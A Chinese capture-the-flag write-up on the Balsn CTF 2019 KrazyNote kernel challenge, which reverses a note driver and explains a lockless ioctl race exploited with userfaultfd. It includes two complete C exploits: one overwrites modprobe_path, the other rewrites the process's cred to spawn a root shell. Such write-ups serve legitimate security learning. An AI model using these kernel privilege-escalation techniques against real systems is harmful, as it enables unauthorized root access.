• [userfaultfd] 2019-BalsnCTF_KrazyNote

    前言

    题目不算难, 但是这代码逆向可逆死个人:) 悲悲悲

    程序分析

    内核版本: v5.1.9

    保护: 开了 kaslr, smep, smap. 现在的题目基本都开了, 都不用看.

    其中 note 模块中注册了一个 misc 设备, 其函数表中就只有 note_open 和 note_unlocked_ioctl 两个函数, 其中 note_open 函数没啥用. 主要看看 note_unlocked_ioctl 函数吧. 

    这里用的是 unlocked_ioctl 而不是 ioctl, 看网上说 unlocked_ioctl 不会提供锁操作, 需要用户自己实现相关锁操作

    行, 来看看 note_unlocked_ioctl 函数吧:) 是不是一脸懵逼, 这只是其中一部分

     可能是代码优化的问题, 反正 IDA 的伪 C 代码死难看. 所以这里采用动调的方式去理清楚整个程序的功能.

    动调就不一步一步展示了, 最后我整理的结果如下, 就是简单的写了下这个函数的逻辑. 整个过程都没有上锁.

    1. // 用户程序传入的结构体
    2. struct user_note {
    3. 	size_t idx;
    4. 	size_t size;
    5. 	char* buf;
    6. };
    7. //  chunk 结构体
    8. // 感觉就是在模仿 glibc
    9. struct chunk {
    10. 	size_t key;
    11. 	size_t data_size;
    12. 	size_t data_offset;
    13. 	char data[]; //char data[self.data_size];
    14. };
    15.  
    16. #define ADD  0xFFFFFF00
    17. #define DELE 0xFFFFFF03
    18. #define EDIT 0xFFFFFF01
    19. #define SHOW 0xFFFFFF02
    20. // 调试得知 KEY 与 page_offset_base 存在一个不固定的偏移
    21. #define KEY
    22. #define CHUNK_HEADER_SIZE 0x18
    23.  
    24. size_t page_offset_base;
    25. // note_arr, chunk_buf, current_chunk_ptr 为 BSS 段上的变量
    26. struct chunk* note_arr[16];
    27. char* current_chunk_ptr = chunk_buf;
    28. char chunk_buf[0x2000];
    29.  
    30. // 默认 idx 在 [0, 15] 之间
    31. // size 在 [0, 0x100] 之间
    32. // 这里实际上要复杂一些, 因为 chunk 的大小没有对齐
    33. __int64 note_unlocked_ioctl(struct file* fp, unsigend int cmd, unsigned __int64 args)
    34. {
    35. 	struct user_note user_note;
    36. 	struct chunk* knote;
    37. 	size_t buf[32];
    38. 	if (copy_from_user(&user_note, args, 24)) return -14;
    39. 	
    40. 	switch (cmd)
    41. 	{
    42.  
    43. 		case ADD:
    44. 			size_t add_size = LOBYTE(user_note->size);
    45. 			size_t idx = -1;
    46. 			// 获取堆块索引, 最多申请16个
    47. 			for (;idx < 16; idx++)
    48. 				if (!note_addr[idx])
    49. 					break;
    50. 			if (idx == 16) goto ERROR;
    51. 			// 设置堆块元数据
    52. 			note_arr[idx] = current_chunk_ptr;	
    53. 			current_chunk_ptr = current_chunk_ptr + add_size + CHUNK_HEADER_SIZE;
    54. 			note_arr[idx].key = KEY;
    55. 			note_arr[idx].data_size = add_size;
    56. 			// 复制数据到内核空间
    57. 			copy_from_user(buf, user_note.buf, add_size);
    58. 			// 数据进行异或加密
    59. 			xor_key(buf, KEY);
    60. 			// 复制数据到堆块中
    61. 			qmemcpy(note_arr[idx].data, buf, add_size);
    62. 			note_arr[idx].data_offset = note_arr[idx] - page_offset_base;
    63. 			break;
    64.  
    65. 		case SHOW:
    66. 			size_t idx = user_note.idx & 0xf;
    67. 			size_t size = LOBYTE(note_arr[idx].size);
    68. 			// 获取堆块数据域起始地址
    69. 			size_t data_addr = note_arr[idx].data_offset + page_offset_base;
    70. 			qmemcpy(buf, data_addr, size);
    71. 			// 数据异或解密
    72. 			xor_key(buf, KEY);
    73. 			// 复制数据到用户空间
    74. 			copy_to_user(user_note.buf, buf, size); 
    75. 			break;
    76.  
    77. 		case EDIT:
    78. 			// 获取堆块
    79. 			knote = note_arr[LOBYTE(user_note.idx)];
    80. 			if (knote)
    81. 			{
    82. 				size_t size = LOBYTE(knote->size);
    83. 				size_t data_addr = page_offset_base + knote->data_offset;
    84. 				// 复制数据到内核空间
    85. 				copy_from_user(buf, user_note.buf, size);
    86. 				// 数据加密
    87. 				xor_key(buf, KEY);
    88. 				// 复制数据到堆块中
    89. 				qmemcpy(data_addr, buf, size);
    90. 			}
    91. 			break;
    92. 	
    93. 		case DELE:
    94. 			// 删除所有堆块
    95. 			// 将 note_arr 清空
    96. 			for (int i = 0; i < 16; i++) note_arr[i] = NULL;
    97. 			// 重置分配堆块指针
    98. 			current_chunk_ptr = chunk_buf;
    99. 			// 清空堆区的所以数据
    100. 			memset(chunk_buf, 0, 0x2000);
    101. 			break;
    102. 	}
    103. 	return 0;
    104. ERROR:
    105. 	return -14
    106. }

    总的来说, 题目实现了一个菜单 "堆", 具有增/删/查/改的功能, 但是这里的 "堆" 是出题者自己模拟的, 即:

    1) 在 BSS 段上分配一块内存 bss_buf 作为堆

    2) current_chunk_ptr 作为堆指针, 指向堆目前的地址, 类似 glibc 中的 top_chunk

    3) 定义了一个 chunk 结构, 类似 glibc 中的 chunk 都包含一个 0x10 的头一样. 这里的头为 0x18, 字段分别为 key, data_size, data_offset, 其函数如下:

            1) chunk 中的数据都会跟 key 进行异或

            2) data_size 表示数据域的大小

            3) page_offset_base + data_offset 为数据域的起始地址

    注意:

    1, 这里的 data_size 可以为0, 这时候只分配一个chunk头.

    2, 这里的 data_size 并不是对齐的, 也就是说你可以分配大小为 1 字节的堆块, 这是堆块的总大小就为 0x19, 下次分配就会从 0x20 开始. 但是这个没啥用, 我们自己在进行在分配的时候还是 8 字节对齐分配, 因为不想自找麻烦:)

    3, 注意一下 dele 堆块, 上面代码写的很清楚了, 自己看吧

    漏洞分析与利用

    漏洞就在于其没有进行锁操作, 并且内核版本为 5.1.9, 在 add/edit 的时候利用了 copy_from_user, 所以就是常规的 userfaultfd 利用了.

    任意写打 modprobe_path

    其实上面已经写的很清楚了, 代码逻辑也写了, 先把 key 泄漏出来, 然后泄漏 kernel_base, 最后修改 data_offset 实现任意地址写.

    exp 如下:

    1. #ifndef _GNU_SOURCE
    2. #define _GNU_SOURCE
    3. #endif
    4.  
    5. #include 
    6. #include 
    7. #include 
    8. #include 
    9. #include 
    10. #include 
    11. #include 
    12. #include 
    13. #include 
    14. #include 
    15. #include 
    16. #include 
    17. #include 
    18. #include 
    19. #include 
    20. #include 
    21. #include 
    22. #include 
    23. #include 
    24. #include 
    25. #include 
    26. #include 
    27. #include 
    28. #include 
    29. #include 
    30. #include 
    31.  
    32. size_t key;
    33. size_t kernel_offset;
    34. size_t modprobe_path_offset;
    35.  
    36. void err_exit(char *msg)
    37. {
    38.     printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    39.     sleep(5);
    40.     exit(EXIT_FAILURE);
    41. }
    42.  
    43. void info(char *msg)
    44. {
    45.     printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
    46. }
    47.  
    48. void hexx(char *msg, size_t value)
    49. {
    50.     printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
    51. }
    52.  
    53. void binary_dump(char *desc, void *addr, int len) {
    54.     uint64_t *buf64 = (uint64_t *) addr;
    55.     uint8_t *buf8 = (uint8_t *) addr;
    56.     if (desc != NULL) {
    57.         printf("\033[33m[*] %s:\n\033[0m", desc);
    58.     }
    59.     for (int i = 0; i < len / 8; i += 4) {
    60.         printf("  %04x", i * 8);
    61.         for (int j = 0; j < 4; j++) {
    62.             i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
    63.         }
    64.         printf("   ");
    65.         for (int j = 0; j < 32 && j + i * 8 < len; j++) {
    66.             printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
    67.         }
    68.         puts("");
    69.     }
    70. }
    71.  
    72. int fd;
    73. struct note {
    74.         size_t idx;
    75.         size_t size;
    76.         char* buf;
    77. };
    78.  
    79. void add(size_t size, char* buf)
    80. {
    81.         struct note n = { .idx = 0, .size = size, .buf = buf };
    82.         ioctl(fd, 0xFFFFFF00, &n);
    83. }
    84.  
    85. void edit(size_t idx, char* buf)
    86. {
    87.         struct note n = { .idx = idx, .size = 0, .buf = buf };
    88.         ioctl(fd, 0xFFFFFF01, &n);
    89. }
    90.  
    91. void show(size_t idx, char* buf)
    92. {
    93.         struct note n = { .idx = idx, .size = 0, .buf = buf };
    94.         ioctl(fd, 0xFFFFFF02, &n);
    95. }
    96.  
    97. void dele()
    98. {
    99.         struct note n = { .idx = 0, .size = 0, .buf = NULL };
    100.         ioctl(fd, 0xFFFFFF03, &n);
    101. }
    102.  
    103. void register_userfaultfd(pthread_t* moniter_thr, void* addr, long len, void* handler)
    104. {
    105.         long uffd;
    106.         struct uffdio_api uffdio_api;
    107.         struct uffdio_register uffdio_register;
    108.  
    109.         uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);
    110.         if (uffd < 0) perror("[X] syscall for __NR_userfaultfd"), exit(-1);
    111.  
    112.         uffdio_api.api = UFFD_API;
    113.         uffdio_api.features = 0;
    114.         if (ioctl(uffd, UFFDIO_API, &uffdio_api) < 0) puts("[X] ioctl-UFFDIO_API"), exit(-1);
    115.  
    116.         uffdio_register.range.start = (long long)addr;
    117.         uffdio_register.range.len = len;
    118.         uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
    119.         if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) < 0) puts("[X] ioctl-UFFDIO_REGISTER"), exit(-1);
    120.  
    121.         if (pthread_create(moniter_thr, NULL, handler, (void*)uffd) < 0)
    122.                 puts("[X] pthread_create at register_userfaultfd"), exit(-1);
    123. }
    124.  
    125. char copy_src[0x1000] = { 0 };
    126. void* leak_key(void* arg)
    127. {
    128.         struct uffd_msg msg;
    129.         struct uffdio_copy uffdio_copy;
    130.         long uffd = (long)arg;
    131.  
    132.         for(;;)
    133.         {
    134.                 int res;
    135.                 struct pollfd pollfd;
    136.                 pollfd.fd = uffd;
    137.                 pollfd.events = POLLIN;
    138.                 if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);
    139.  
    140.                 res = read(uffd, &msg, sizeof(msg));
    141.                 if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);
    142.                 if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);
    143.                 if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);
    144.  
    145.                 puts("[+] Now in userfaultfd handler to leak key");
    146.                 char buf[0x100] = { 0 };
    147.                 dele();
    148.                 add(0, buf);
    149.                 add(0, buf);
    150.  
    151.                 *(uint64_t*)(copy_src) = 0;
    152.                 *(uint64_t*)(copy_src+8) = 0xff;
    153.  
    154.                 uffdio_copy.src = (long long)copy_src;
    155.                 uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);
    156.                 uffdio_copy.len = 0x1000;
    157.                 uffdio_copy.mode = 0;
    158.                 uffdio_copy.copy = 0;
    159.                 if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);
    160.         }
    161. }
    162.  
    163. void* leak_kernel(void* arg)
    164. {
    165.         struct uffd_msg msg;
    166.         struct uffdio_copy uffdio_copy;
    167.         long uffd = (long)arg;
    168.  
    169.         for(;;)
    170.         {
    171.                 int res;
    172.                 struct pollfd pollfd;
    173.                 pollfd.fd = uffd;
    174.                 pollfd.events = POLLIN;
    175.                 if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);
    176.  
    177.                 res = read(uffd, &msg, sizeof(msg));
    178.                 if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);
    179.                 if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);
    180.                 if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);
    181.  
    182.                 puts("[+] Now in userfaultfd handler to leak kernel base");
    183.                 char buf[0x100] = { 0 };
    184.                 dele();
    185.                 add(0x18, buf);
    186.                 add(0x18, buf);
    187.                 memset(copy_src, 0, sizeof(copy_src));
    188.                 *(uint64_t*)(copy_src+0x18) = key;
    189.                 *(uint64_t*)(copy_src+0x18+8) = 0x18 ^ key;
    190.                 *(uint64_t*)(copy_src+0x18+8+8) = 0x9d000 ^ key;
    191.  
    192.                 uffdio_copy.src = (long long)copy_src;
    193.                 uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);
    194.                 uffdio_copy.len = 0x1000;
    195.                 uffdio_copy.mode = 0;
    196.                 uffdio_copy.copy = 0;
    197.                 if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);
    198.         }
    199. }
    200.  
    201. void* hijack(void* arg)
    202. {
    203.         struct uffd_msg msg;
    204.         struct uffdio_copy uffdio_copy;
    205.         long uffd = (long)arg;
    206.  
    207.         for(;;)
    208.         {
    209.                 int res;
    210.                 struct pollfd pollfd;
    211.                 pollfd.fd = uffd;
    212.                 pollfd.events = POLLIN;
    213.                 if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);
    214.  
    215.                 res = read(uffd, &msg, sizeof(msg));
    216.                 if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);
    217.                 if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);
    218.                 if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);
    219.  
    220.                 puts("[+] Now in userfaultfd handler to hijack modprobe_path");
    221.                 char buf[0x100] = { 0 };
    222.                 dele();
    223.                 add(0x18, buf);
    224.                 add(0x18, buf);
    225.                 memset(copy_src, 0, sizeof(copy_src));
    226.                 *(uint64_t*)(copy_src+0x18) = key;
    227.                 *(uint64_t*)(copy_src+0x18+8) = 0x10 ^ key;
    228.                 *(uint64_t*)(copy_src+0x18+8+8) = modprobe_path_offset ^ key;
    229.  
    230.                 uffdio_copy.src = (long long)copy_src;
    231.                 uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);
    232.                 uffdio_copy.len = 0x1000;
    233.                 uffdio_copy.mode = 0;
    234.                 uffdio_copy.copy = 0;
    235.                 if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);
    236.         }
    237. }
    238.  
    239. void get_flag(){
    240.         system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag' > /home/note/x"); // modeprobe_path 修改为了 /tmp/x
    241.         system("chmod +x /home/note/x");
    242.         system("echo -ne '\\xff\\xff\\xff\\xff' > /home/note/dummy"); // 非法格式的二进制文件
    243.         system("chmod +x /home/note//dummy");
    244.         system("/home/note/dummy"); // 执行非法格式的二进制文件 ==> 执行 modeprobe_path 执行的文件 /tmp/x
    245.         sleep(0.3);
    246.         system("cat /flag");
    247.         exit(0);
    248. }
    249.  
    250. int main(int argc, char** argv, char** envp)
    251. {
    252.         char buf[0x1000] = { 0 };
    253.  
    254.         fd = open("/dev/note", O_RDONLY);
    255.         if (fd < 0) err_exit("FAILED to open dev file");
    256.  
    257.         pthread_t thr0, thr1, thr2;
    258.         void* uffd_buf0 = mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
    259.         void* uffd_buf1 = mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
    260.         void* uffd_buf2 = mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
    261.         if (uffd_buf0 < 0) err_exit("FAILED to mmap for uffd");
    262.         if (uffd_buf1 < 0) err_exit("FAILED to mmap for uffd");
    263.         if (uffd_buf2 < 0) err_exit("FAILED to mmap for uffd");
    264.         register_userfaultfd(&thr0, uffd_buf0, 0x1000, leak_key);
    265.         register_userfaultfd(&thr1, uffd_buf1, 0x1000, leak_kernel);
    266.         register_userfaultfd(&thr2, uffd_buf2, 0x1000, hijack);
    267.  
    268.         add(0x10, uffd_buf0);
    269.         show(1, buf);
    270.         key = *(uint64_t*)buf;
    271.         binary_dump("Leak key data", buf, 0x100);
    272.         hexx("key value", key);
    273.  
    274.         memset(buf, 0, sizeof(buf));
    275.         dele();
    276.         add(0x18+0x18, buf);
    277.         edit(0, uffd_buf1);
    278.         show(1, buf);
    279.         kernel_offset = *(uint64_t*)buf - 0xffffffff81000030;
    280.         binary_dump("Leak kernel_base data", buf, 0x18);
    281.         hexx("kernel_offset", kernel_offset);
    282.  
    283.         size_t modprobe_path = 0xffffffff8205e0e0 + kernel_offset;
    284.         size_t page_offset_base = key & 0xfffffffff0000000;
    285.         modprobe_path_offset = modprobe_path - page_offset_base;
    286.         hexx("modprobe", modprobe_path);
    287.         hexx("Guess page_offset_base", page_offset_base);
    288.         hexx("modprobe_path_offset", modprobe_path_offset);
    289.  
    290.         memset(buf, 0, sizeof(buf));
    291.         dele();
    292.         add(0x18+0x18, buf);
    293.         edit(0, uffd_buf2);
    294.         strcpy(buf, "/home/note/x");
    295.         edit(1, buf);
    296.         puts("[+] get flag");
    297.         get_flag();
    298.  
    299.         return 0;
    300. }

    效果如下:

    任意写修改 cred

    这里我们存在任意读写的能力, 所有根本不需要泄漏 kernel_base, 直接在泄漏 key 后得到 page_offset_base, 然后遍历搜索 current task_struct, 然后找到 current_cred, 最后利用任意写修改 cred 进行提权.

    exp 如下:

    1. #ifndef _GNU_SOURCE
    2. #define _GNU_SOURCE
    3. #endif
    4.  
    5. #include 
    6. #include 
    7. #include 
    8. #include 
    9. #include 
    10. #include 
    11. #include 
    12. #include 
    13. #include 
    14. #include 
    15. #include 
    16. #include 
    17. #include 
    18. #include 
    19. #include 
    20. #include 
    21. #include 
    22. #include 
    23. #include 
    24. #include 
    25. #include 
    26. #include 
    27. #include 
    28. #include 
    29. #include 
    30. #include 
    31. #include 
    32.  
    33. size_t key;
    34. size_t kernel_offset;
    35.  
    36. void err_exit(char *msg)
    37. {
    38.     printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    39.     sleep(5);
    40.     exit(EXIT_FAILURE);
    41. }
    42.  
    43. void info(char *msg)
    44. {
    45.     printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
    46. }
    47.  
    48. void hexx(char *msg, size_t value)
    49. {
    50.     printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
    51. }
    52.  
    53. void binary_dump(char *desc, void *addr, int len) {
    54.     uint64_t *buf64 = (uint64_t *) addr;
    55.     uint8_t *buf8 = (uint8_t *) addr;
    56.     if (desc != NULL) {
    57.         printf("\033[33m[*] %s:\n\033[0m", desc);
    58.     }
    59.     for (int i = 0; i < len / 8; i += 4) {
    60.         printf("  %04x", i * 8);
    61.         for (int j = 0; j < 4; j++) {
    62.             i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
    63.         }
    64.         printf("   ");
    65.         for (int j = 0; j < 32 && j + i * 8 < len; j++) {
    66.             printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
    67.         }
    68.         puts("");
    69.     }
    70. }
    71.  
    72. int fd;
    73. struct note {
    74.         size_t idx;
    75.         size_t size;
    76.         char* buf;
    77. };
    78.  
    79. void add(size_t size, char* buf)
    80. {
    81.         struct note n = { .idx = 0, .size = size, .buf = buf };
    82.         ioctl(fd, 0xFFFFFF00, &n);
    83. }
    84.  
    85. void edit(size_t idx, char* buf)
    86. {
    87.         struct note n = { .idx = idx, .size = 0, .buf = buf };
    88.         ioctl(fd, 0xFFFFFF01, &n);
    89. }
    90.  
    91. void show(size_t idx, char* buf)
    92. {
    93.         struct note n = { .idx = idx, .size = 0, .buf = buf };
    94.         ioctl(fd, 0xFFFFFF02, &n);
    95. }
    96.  
    97. void dele()
    98. {
    99.         struct note n = { .idx = 0, .size = 0, .buf = NULL };
    100.         ioctl(fd, 0xFFFFFF03, &n);
    101. }
    102.  
    103. void register_userfaultfd(pthread_t* moniter_thr, void* addr, long len, void* handler)
    104. {
    105.         long uffd;
    106.         struct uffdio_api uffdio_api;
    107.         struct uffdio_register uffdio_register;
    108.  
    109.         uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);
    110.         if (uffd < 0) perror("[X] syscall for __NR_userfaultfd"), exit(-1);
    111.  
    112.         uffdio_api.api = UFFD_API;
    113.         uffdio_api.features = 0;
    114.         if (ioctl(uffd, UFFDIO_API, &uffdio_api) < 0) puts("[X] ioctl-UFFDIO_API"), exit(-1);
    115.  
    116.         uffdio_register.range.start = (long long)addr;
    117.         uffdio_register.range.len = len;
    118.         uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
    119.         if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) < 0) puts("[X] ioctl-UFFDIO_REGISTER"), exit(-1);
    120.  
    121.         if (pthread_create(moniter_thr, NULL, handler, (void*)uffd) < 0)
    122.                 puts("[X] pthread_create at register_userfaultfd"), exit(-1);
    123. }
    124.  
    125. char copy_src[0x1000] = { 0 };
    126. void* handler(void* arg)
    127. {
    128.         struct uffd_msg msg;
    129.         struct uffdio_copy uffdio_copy;
    130.         long uffd = (long)arg;
    131.  
    132.         for(;;)
    133.         {
    134.                 int res;
    135.                 struct pollfd pollfd;
    136.                 pollfd.fd = uffd;
    137.                 pollfd.events = POLLIN;
    138.                 if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);
    139.  
    140.                 res = read(uffd, &msg, sizeof(msg));
    141.                 if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);
    142.                 if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);
    143.                 if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);
    144.  
    145.                 puts("[+] Now in userfaultfd handler");
    146.                 char buf[0x100] = { 0 };
    147.                 dele();
    148.                 add(0, buf);
    149.                 add(0, buf);
    150.  
    151.                 *(uint64_t*)(copy_src) = 0;
    152.                 *(uint64_t*)(copy_src+8) = 0x18;
    153.  
    154.                 uffdio_copy.src = (long long)copy_src;
    155.                 uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);
    156.                 uffdio_copy.len = 0x1000;
    157.                 uffdio_copy.mode = 0;
    158.                 uffdio_copy.copy = 0;
    159.                 if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);
    160.         }
    161. }
    162.  
    163. int main(int argc, char** argv, char** envp)
    164. {
    165.         char buf[0x100] = { 0 };
    166.         char buffer[0x300] = { 0 };
    167.         fd = open("/dev/note", O_RDONLY);
    168.         if (fd < 0) err_exit("FAILED to open dev file");
    169.  
    170.         if (prctl(PR_SET_NAME, "Pwner-XiaozaYa") < 0) err_exit("SET NAME");
    171.  
    172.         pthread_t thr;
    173.         void* uffd_buf = mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
    174.         if (uffd_buf < 0) err_exit("FAILED to mmap for uffd");
    175.         register_userfaultfd(&thr, uffd_buf, 0x1000, handler);
    176.  
    177.         add(0x10, uffd_buf);
    178.         show(1, buf);
    179.         key = *(uint64_t*)buf;
    180.         binary_dump("Leak key data", buf, 0x18);
    181.         hexx("key value", key);
    182.  
    183.         size_t page_offset_base = key & 0xfffffffff0000000;
    184.         hexx("Guess page_offset_base", page_offset_base);
    185.  
    186.         memset(buf, 0, sizeof(buf));
    187.         add(0, buf);
    188.  
    189.         *(uint64_t*)buf = 0 ^ key;
    190.         *(uint64_t*)(buf + 8) = 0xff ^ key;
    191.         uint64_t* task;
    192.         for (size_t off = 0; ; off+=0x100)
    193.         {
    194.                 *(uint64_t*)(buf + 8 + 8) = off ^ key;
    195.                 edit(1, buf);
    196.                 memset(buffer, 0, sizeof(buffer));
    197.                 show(2, buffer+0x100);
    198.                 task = (uint64_t*)memmem(buffer+0x100, 0x100, "Pwner-XiaozaYa", 14);
    199.                 if (task)
    200.                 {
    201.                         printf("[+] comm: %s, real_cred: %#lx, current_cred: %#lx\n", task, task[-1], task[-2]);
    202.                         if (task[-1] > 0xffff000000000000 && task[-2] > 0xffff000000000000) break;
    203.                 }
    204.         }
    205.  
    206.         *(uint64_t*)(buf + 8) = 0x20 ^ key;
    207.         *(uint64_t*)(buf + 8 + 8) = (task[-2] + 4 - page_offset_base) ^ key;
    208.         edit(1, buf);
    209.         memset(buf, 0, sizeof(buf));
    210.         edit(2, buf);
    211.         puts("[+] Get root shell");
    212.         system("/bin/sh");
    213.  
    214.         return 0;
    215. }

     效果如下: 因为每次最多只能读0x100, 所以寻找 current_task_struct 的时间可能久一些

  • 相关阅读:
    【电子通识】USB TYPE-A 2.0/3.0连接器接口
    Mysql数据库慢sql抓取与分析
    JavaSE | 初始Java(十) | 继承和多态
    搬走地下空间开发利用“绊脚石” 中地数码取得地下空间透明化技术突破
    JavaScript相关操作
    What is the difference between Parseval‘s theorem and Plancherel Theorem
    Vue.js核心技术解析与uni-app跨平台实战开发学习笔记 第5章 Vue.js组件 5.3 动画组件 && 5.4 组件传值
    红日靶场vulnstack1 内网渗透学习
    密码学算法教程
    fastadmin框架如何查询数据表指定时间段内的数据
  • 原文地址：https://blog.csdn.net/qq_61670993/article/details/134540209